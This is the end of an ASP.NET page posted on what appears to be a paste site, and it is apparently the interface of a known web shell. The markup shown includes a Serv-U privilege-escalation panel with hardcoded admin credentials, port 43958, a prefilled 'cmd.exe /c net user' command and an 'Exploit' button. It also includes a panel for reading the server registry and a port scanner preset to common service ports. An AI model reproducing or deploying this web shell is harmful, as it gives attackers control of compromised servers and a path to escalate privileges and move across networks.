  1555. <asp:DataGrid ID="Bin_DataGrid" runat="server" Width="753px" PageSize="20" CssClass="Bin_DataGrid" OnItemDataBound="Item_DataBound" AllowPaging="True" OnPageIndexChanged="Bin_DBPage" OnItemCommand="Item_Command">
  1556. <PagerStyle Mode="NumericPages" Position="TopAndBottom" />
  1557. </asp:DataGrid></div>
  1558. </asp:Panel>
  1559. <asp:Panel ID="Bin_SuPanel" runat="server" Width="763px" >
  1560. <hr />
  1561. Name :
  1562. <asp:TextBox ID="Bin_SunameTextBox" runat="server">localadministrator</asp:TextBox>
  1563. Pass :
  1564. <asp:TextBox ID="Bin_SupassTextBox" runat="server">#l@$ak#.lk;0@P</asp:TextBox>
  1565. Port :
  1566. <asp:TextBox ID="Bin_SuportTextBox" runat="server">43958</asp:TextBox><br />
  1567. CMD :
  1568. <asp:TextBox ID="Bin_SucmdTextBox" runat="server" Width="447px">cmd.exe /c net user</asp:TextBox><br />
  1569. <asp:Button ID="Bin_SuexpButton" runat="server" Text="Exploit" OnClick="Bin_SuexpButton_Click" /><br />
  1570. <div style="text-align:left">
  1571. <hr />
  1572. <asp:Label ID="Bin_SuresLabel" runat="server"></asp:Label>
  1573. </div>
  1574. </asp:Panel>
  1575. <asp:Panel ID="Bin_IISPanel" runat="server" Width="763px"><div style="text-align:left">
  1576. <hr />
  1577. <asp:Label ID="Bin_iisLabel" runat="server" Text="Label" EnableViewState="False"></asp:Label>&nbsp;</div></asp:Panel>
  1578. <asp:Panel ID="Bin_RegPanel" runat="server" Width="763px"><hr /><div style="text-align:left">
  1579. KEY :&nbsp; &nbsp;<asp:TextBox ID="Bin_KeyTextBox" runat="server" Width="595px">HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\ComputerName\ComputerName</asp:TextBox><br />
  1580. VALUE :
  1581. <asp:TextBox ID="Bin_ValueTextBox" runat="server" Width="312px">ComputerName</asp:TextBox>&nbsp;<asp:Button
  1582. ID="Bin_RegreadButton" runat="server" Text="Read" OnClick="Bin_RegreadButton_Click" /><br />
  1583. <asp:Label ID="Bin_RegresLabel" runat="server"></asp:Label><hr /></div></asp:Panel>
  1584. <asp:Panel ID="Bin_PortPanel" runat="server" Width="763px">
  1585. <hr /><div style="text-align:left">
  1586. IP :
  1587. <asp:TextBox ID="Bin_ScanipTextBox" runat="server" Width="194px">127.0.0.1</asp:TextBox>
  1588. PORT :
  1589. <asp:TextBox ID="Bin_PortsTextBox" runat="server" Width="356px">21,80,1433,3306,3389,4899,5631,43958,65500</asp:TextBox>
  1590. <asp:Button ID="Bin_ScancmdButton" runat="server" Text="Scan" OnClick="Bin_ScancmdButton_Click" /><br />
  1591. <asp:Label ID="Bin_ScanresLabel" runat="server"></asp:Label></div><hr /></asp:Panel>
  1592.  
  1593. </div></form>
  1594. </body>
  1595. </html>
Advertisement
Add Comment
Please, Sign In to add comment